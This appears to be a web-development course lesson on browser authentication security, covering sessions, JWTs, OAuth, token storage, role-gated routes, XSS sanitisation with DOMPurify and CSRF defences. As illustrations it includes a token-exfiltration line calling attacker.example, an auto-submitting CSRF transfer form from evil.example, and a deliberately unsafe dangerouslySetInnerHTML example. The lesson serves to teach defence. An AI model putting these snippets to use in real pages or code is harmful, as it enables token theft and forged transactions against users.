1. Auth Flows: Session vs. JWT vs. OAuth/OIDC
"Authentication" isn't one thing — it's a family of different mechanisms for the same underlying handshake: prove who you are once, then get treated as that identity on every request afterward without re-proving it each time. Three flows cover the vast majority of real apps, and each makes a different tradeoff.
- Server session + cookie — the server generates a random session ID on login, stores the session's data (user ID, roles) in its own store (Redis, a database table), and sends the browser only the ID, in a cookie. Every request, the browser automatically attaches that cookie, and the server looks the session up. Simple to reason about, and revoking access is instant — delete the row. The cost: the server has to keep state for every logged-in user, which complicates scaling across multiple server instances unless the session store is shared.
- JWT (JSON Web Token) — the server signs a token containing the user's identity and claims directly, and hands the whole token to the client. Any server holding the same signing secret can verify it without a database lookup — genuinely stateless, which scales trivially across instances. The cost: a JWT is valid until it expires, full stop. There's no "delete the row" — revoking a single compromised token before its expiry requires extra machinery (a denylist, short expiries plus refresh tokens) that reintroduces some of the state you were trying to avoid.
- OAuth 2.0 / OpenID Connect (OIDC) — you don't verify credentials at all. The user authenticates with a third party (Google, GitHub, Auth0, Okta), and that party hands your app a token vouching for who the user is (OIDC layers "identity" on top of OAuth's "authorization"). Right for when you don't want to own passwords, want a faster signup flow, or need to act on a user's behalf against a third-party API (reading their Google Calendar, for instance).
POST /api/login
Set-Cookie: session_id=8f3e...c1a; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=604800
{ "user": { "id": 42, "name": "Priya" } } // no token in the JSON body at all
{
"sub": "42",
"name": "Priya",
"role": "editor",
"iat": 1735689600, // issued at
"exp": 1735693200 // expires 1 hour later
}
That last point about JWTs is easy to miss: a JWT's payload is base64-encoded, not encrypted. Anyone holding the token — including the user themselves, via their browser dev tools — can read every claim inside it. The signature only proves the server issued it unmodified; it proves nothing about secrecy.
Single backend, want instant revocation and simplicity: server sessions. Multiple independently-scaled services that all need to verify identity without a shared session store: JWT. Don't want to own credential storage, or need delegated access to a third-party API: OAuth/OIDC. Plenty of real apps combine two — OIDC for login, then a short-lived session cookie for everything after.
2. Token Storage Tradeoffs
Choosing an auth flow answers "how do we prove identity." A separate, equally important question: once you have a token or session ID, where does it live in the browser? Get this wrong and the flow you chose in Section 1 stops mattering.
localStorage is the option that looks convenient and is usually the wrong
answer. It's plain JavaScript-readable storage — which means any script running
on your page can read it, including a script that shouldn't be there at all.
If your app has even one XSS vulnerability (Section 4) — a single unsanitized
dangerouslySetInnerHTML, a compromised third-party npm package, an ad
script — an attacker's injected code can do localStorage.getItem('token')
and exfiltrate it to their own server in one line. No cookie theft, no network
interception required; the token was sitting in a place JavaScript was always allowed
to read.
// injected via any unsanitized render path -- see Section 4
const stolen = localStorage.getItem('authToken');
fetch('https://attacker.example/collect?t=' + stolen); // token is now theirs
An httpOnly cookie closes exactly this hole: it's marked so that
JavaScript cannot read it at all — not document.cookie,
not any library, nothing running on the page. The browser still attaches it to requests
automatically, so the server can still authenticate the user; client-side code simply
never touches the credential. The tradeoff is that a cookie-based session opens the
door to a different attack, CSRF, covered in Section 5 — httpOnly cookies aren't a free
upgrade, they trade one risk for a different, more containable one.
app.post('/api/login', async (req, res) => {
const { email, password } = req.body;
const user = await verifyCredentials(email, password);
if (!user) return res.status(401).json({ error: 'Invalid credentials' });
const token = signToken({ sub: user.id, role: user.role }); // JWT, but never sent to JS
res.cookie('authToken', token, {
httpOnly: true, // invisible to document.cookie / any JS
secure: true, // only sent over HTTPS
sameSite: 'lax', // mitigates CSRF -- see Section 5
maxAge: 60 * 60 * 1000, // 1 hour
});
res.json({ user: { id: user.id, name: user.name } }); // no token here
});
async function login(email: string, password: string) {
const res = await fetch('/api/login', {
method: 'POST',
credentials: 'include', // send/receive cookies on this cross-origin-capable request
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ email, password }),
});
return res.json(); // { user: { id, name } } -- that's all the client ever sees
}
// every later authenticated request just needs credentials: 'include' --
// no Authorization header to manage, no token to remember to attach
async function getProfile() {
const res = await fetch('/api/profile', { credentials: 'include' });
return res.json();
}
Keeping a token in a React state variable (not localStorage) is still readable by any injected script while that script runs, but at least doesn't persist it for an attacker to grab later or across tabs. It's a real improvement over localStorage, but an httpOnly cookie remains the stronger default whenever your frontend and API share a domain (or a configured cross-subdomain cookie) — it removes the token from JS's reach entirely, not just from persistent storage.
3. Protected Routes & Role-Based Access Control
Week 7's RequireAuth answered one question — is anyone logged in? Most
real apps need a second, sharper question: is this logged-in user allowed to
see this page? An admin dashboard shouldn't render for a user whose role is
"viewer", even though they're fully authenticated.
import { Navigate, Outlet, useLocation } from 'react-router';
import { useAuth } from './useAuth';
type Role = 'viewer' | 'editor' | 'admin';
function RequireRole({ role }: { role: Role }) {
const { user } = useAuth();
const location = useLocation();
if (!user) {
// not logged in at all -- same redirect Week 7 used
return <Navigate to="/login" state={{ from: location }} replace />;
}
if (user.role !== role) {
// logged in, but the wrong role -- a different destination than "please log in"
return <Navigate to="/forbidden" replace />;
}
return <Outlet />;
}
const router = createBrowserRouter([
{ path: '/login', element: <LoginPage /> },
{ path: '/forbidden', element: <ForbiddenPage /> },
{
element: <RequireAuth />, // Week 7 -- must be logged in at all
children: [
{ path: '/dashboard', element: <DashboardPage /> },
{
element: <RequireRole role="admin" />, // additionally, must be an admin
children: [
{ path: '/admin', element: <AdminPage /> },
{ path: '/admin/users', element: <AdminUsersPage /> },
],
},
],
},
]);
Stacking wrapper routes like this composes cleanly: /admin is nested
inside both RequireAuth and RequireRole, so an unauthenticated
visitor bounces to /login and an authenticated non-admin bounces to
/forbidden — two different, correct outcomes from one route tree.
The same check belongs in a loader (Week 7) too, not only a wrapper component — useful when the redirect decision should happen before any of the route's elements render at all, particularly for a route with its own data-fetching loader:
import { redirect } from 'react-router';
import { getCurrentUser } from './auth';
function requireRole(role: 'viewer' | 'editor' | 'admin') {
return async () => {
const user = await getCurrentUser(); // reads the session, e.g. via /api/me
if (!user) throw redirect('/login');
if (user.role !== role) throw redirect('/forbidden');
return user;
};
}
// route config
{
path: '/admin/users',
element: <AdminUsersPage />,
loader: requireRole('admin'),
}
Exactly like Week 7's warning: RequireRole and requireRole loaders control what renders in the browser, nothing more. The /api/admin/users endpoint itself must independently check the caller's role on the server, every request — a client-side check is convenience for legitimate users, not a wall against anyone willing to call the API directly.
4. XSS Prevention & Sanitizing User Content
Cross-site scripting (XSS) is an attacker getting their own JavaScript to run inside
your page, in your users' browsers, under your origin — which is exactly what makes
Section 2's localStorage token theft possible, and much worse besides.
React's default behavior already closes the most common door: when you render
{'{someString}'} in JSX, React escapes it as text, not HTML. A comment
containing <script>alert(1)</script> renders as the literal
visible text of that string, not as an executed script tag.
function Comment({ text }: { text: string }) {
return <p>{text}</p>; // even if text is "<img src=x onerror=alert(1)>", it renders as inert text
}
The risk reappears the moment you opt out of that default with
dangerouslySetInnerHTML — a prop that's honestly named: it hands React a
raw HTML string and tells it to inject that HTML directly into the DOM, script tags,
event handlers and all, with zero escaping. It exists because some content is
legitimately meant to be rendered as HTML — a rich-text editor's output, a
CMS field, a Markdown-to-HTML conversion — not because it's ever safe to point directly
at unvalidated user input.
function Comment({ html }: { html: string }) {
// html came from another user's input. This executes anything they put in it.
return <div dangerouslySetInnerHTML={{ __html: html }} />;
}
The fix isn't to avoid rich HTML content — it's to sanitize it first,
stripping anything that isn't safe to render (script tags, onerror/onclick
handlers, javascript: URLs) while keeping legitimate formatting tags
(<b>, <a>, <p>) intact.
DOMPurify
is the standard tool for this:
npm install dompurify
npm install -D @types/dompurify
import DOMPurify from 'dompurify';
function SafeComment({ html }: { html: string }) {
const clean = DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'ol', 'li'],
ALLOWED_ATTR: ['href', 'target', 'rel'],
});
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
// <SafeComment html="Nice work! <script>stealCookies()</script>" />
// renders: "Nice work! " -- the script tag is stripped entirely, nothing executes
If the content is a plain string, JSX already protects you — just render it normally. If it must be rendered as HTML, it must pass through a sanitizer immediately before dangerouslySetInnerHTML, with no exceptions for "trusted" sources — a compromised admin account or a hacked CMS is still user-supplied content from your app's perspective.
5. CSRF & Secure API Calls
Cross-site request forgery (CSRF) targets cookie-based auth specifically — it doesn't
touch JWT-in-an-Authorization-header setups at all, because that pattern
requires JavaScript on your own origin to attach the token, and a malicious site can't
read or set headers on requests to your API. A cookie, on the other hand, is
attached by the browser automatically, to requests from any site —
which is exactly the mechanism CSRF abuses.
The attack: a user is logged into bank.example (session cookie set). They
then visit evil.example, which contains a hidden form auto-submitting a
POST to bank.example/api/transfer. The browser dutifully attaches the
bank.example session cookie to that request — because it doesn't know or
care which site's HTML triggered it — and the transfer executes as if the real user
requested it, because as far as the server can tell, they did.
<!-- evil.example -->
<form action="https://bank.example/api/transfer" method="POST" id="f">
<input type="hidden" name="to" value="attacker-account" />
<input type="hidden" name="amount" value="5000" />
</form>
<script>document.getElementById('f').submit();</script>
<!-- the browser attaches bank.example's session cookie automatically -- no consent needed -->
The SameSite cookie attribute is the first line of
defense, and it's the one already set in Section 2's login example.
SameSite=Strict tells the browser to never send that cookie on a
cross-site request, period — the evil.example form above would submit with no
session cookie attached at all, and the server would see an unauthenticated request.
SameSite=Lax (the modern browser default) is slightly more permissive —
it still sends the cookie for top-level navigations (clicking a real link) but blocks
it on cross-site POSTs like the form above, which covers the CSRF case while not
breaking normal cross-site linking.
res.cookie('authToken', token, {
httpOnly: true,
secure: true,
sameSite: 'strict', // never sent on any cross-site request, forged or not
});
For extra defense-in-depth (or when SameSite=Strict is too restrictive
for a legitimate flow), the double-submit CSRF token pattern adds a
second, independent check: the server sends a random token the page can read, the
client echoes it back in a custom header on every mutation, and the server confirms the
header matches — something a cross-site form, which can't read your page's JavaScript
or cookies, has no way to forge.
function getCsrfToken(): string | undefined {
return document.cookie
.split('; ')
.find(row => row.startsWith('csrf_token='))
?.split('=')[1];
}
async function transferFunds(to: string, amount: number) {
return fetch('/api/transfer', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': getCsrfToken() ?? '', // a forged cross-site request can't set this
},
body: JSON.stringify({ to, amount }),
});
}
The double-submit pattern relies on your own page's JavaScript being able to read the token and echo it in a header — that's the entire proof that the request originated from your site, since a cross-origin attacker's script can't read cookies set for your domain. The auth cookie stays httpOnly; the CSRF token cookie is a separate, deliberately-readable value with no sensitive data in it.
6. Hands-on Exercise
Build a real RequireAuth/RequireRole pair, an httpOnly login flow, and a sanitized comment
Turn this week's security concerns into working code inside one small app — including the two Part 1 doesn't reach: a real OAuth redirect flow and CSRF protection on a state-changing request.
Part 1 — Auth, roles, and sanitization:
- Write a
RequireAuthroute wrapper (as in Week 7) plus aRequireRole({'role'})wrapper that accepts a role and redirects to/forbiddenwhen the current user's role doesn't match — wire both into a route tree so/adminrequires both being logged in and being an admin. - Write a
login()function that POSTs credentials to/api/loginwithcredentials: 'include'and never reads or stores a token in JS. If you don't have a real backend available, write the Express-style handler from Section 2 in a comment above your client code to show exactly what it would set. - Add a fake current-user hook (
useAuth) backed by an/api/mecall that relies purely on the cookie being attached automatically — no token passed manually anywhere in your client code. - Install DOMPurify and render one piece of "user-generated" rich-text content (hardcode a string containing a
<script>tag to prove it gets stripped) through a sanitizeddangerouslySetInnerHTML, using an allowlist of tags. - Add a comment documenting which
SameSitevalue your login cookie uses and why you chose it over the alternative.
To confirm your token really isn't reachable from JS, open your browser's dev console on the running app and try document.cookie — an httpOnly cookie simply won't appear in that string, which is the whole point.
Part 2 — OAuth redirect flow and CSRF protection:
- Add a "Sign in with Google" button that redirects the browser to a (simulated) provider authorization URL, including a randomly-generated
stateparameter stored insessionStoragebefore the redirect. - Write the callback route (
/auth/callback) that reads thecodeandstatequery params, verifiesstatematches what was stored before redirecting (rejecting the login if it doesn't — this is the CSRF protection built into the OAuth flow itself), and simulates exchangingcodefor a session by calling your existing/api/login-style endpoint. - Add a CSRF token to one real state-changing request elsewhere in the app (e.g. the "Add Product" form from Week 20, or a comment-post action) following Section 5's double-submit-cookie or synchronizer-token pattern — read the token from a cookie or a hidden form field, and send it back in a header on the mutating request.
- Prove the protection works: temporarily strip the CSRF token from the request and confirm your (simulated or real) backend handler rejects it; put the token back and confirm the request succeeds again.
The state parameter check in Part 2's callback route and the CSRF token check in Part 2's mutation are solving the same underlying problem two different ways — confirming a request genuinely originated from your own app's flow, not a malicious page tricking the browser into replaying a cookie-authenticated request. Noticing that similarity is worth more than memorizing either mechanism in isolation.
7. Knowledge Check
Four quick questions. Expand each to check your answer.
Q1
What's the core tradeoff between a server session (cookie + server-side store) and a JWT?
What's the core tradeoff between a server session (cookie + server-side store) and a JWT?
A server session keeps state on the server, which makes revocation instant (delete the session row) but requires that state to be reachable by every server instance handling requests. A JWT is self-contained and stateless — any server holding the signing secret can verify it without a lookup, which scales easily, but there's no way to revoke a single token before it expires without adding extra machinery like a denylist.
Q2
Why is storing an auth token in localStorage usually the wrong choice?
Why is storing an auth token in localStorage usually the wrong choice?
localStorage is fully readable by any JavaScript running on the page. If the app has even one XSS vulnerability — one unsanitized render, one compromised dependency — an attacker's injected script can read the token directly with localStorage.getItem(...) and send it to their own server, no cookie theft or network interception required. An httpOnly cookie removes this risk because JavaScript can't read it at all.
Q3
When is dangerouslySetInnerHTML actually necessary, and how do you use it safely?
When is dangerouslySetInnerHTML actually necessary, and how do you use it safely?
It's needed when content is legitimately meant to render as HTML rather than plain text — rich-text editor output, a CMS field, converted Markdown — cases where JSX's default text-escaping would be wrong, not just inconvenient. It's safe only when the HTML string is passed through a sanitizer like DOMPurify (with an explicit tag/attribute allowlist) immediately before rendering, every time, regardless of how "trusted" the source seems.
Q4
How does a SameSite=Strict cookie mitigate CSRF?
How does a SameSite=Strict cookie mitigate CSRF?
CSRF relies on the browser automatically attaching a session cookie to a request triggered by a form or script hosted on a completely different, malicious site. SameSite=Strict tells the browser to never send that cookie on any cross-site request, so the forged request arrives at the server with no session cookie attached at all — indistinguishable from an unauthenticated request, and rejected accordingly.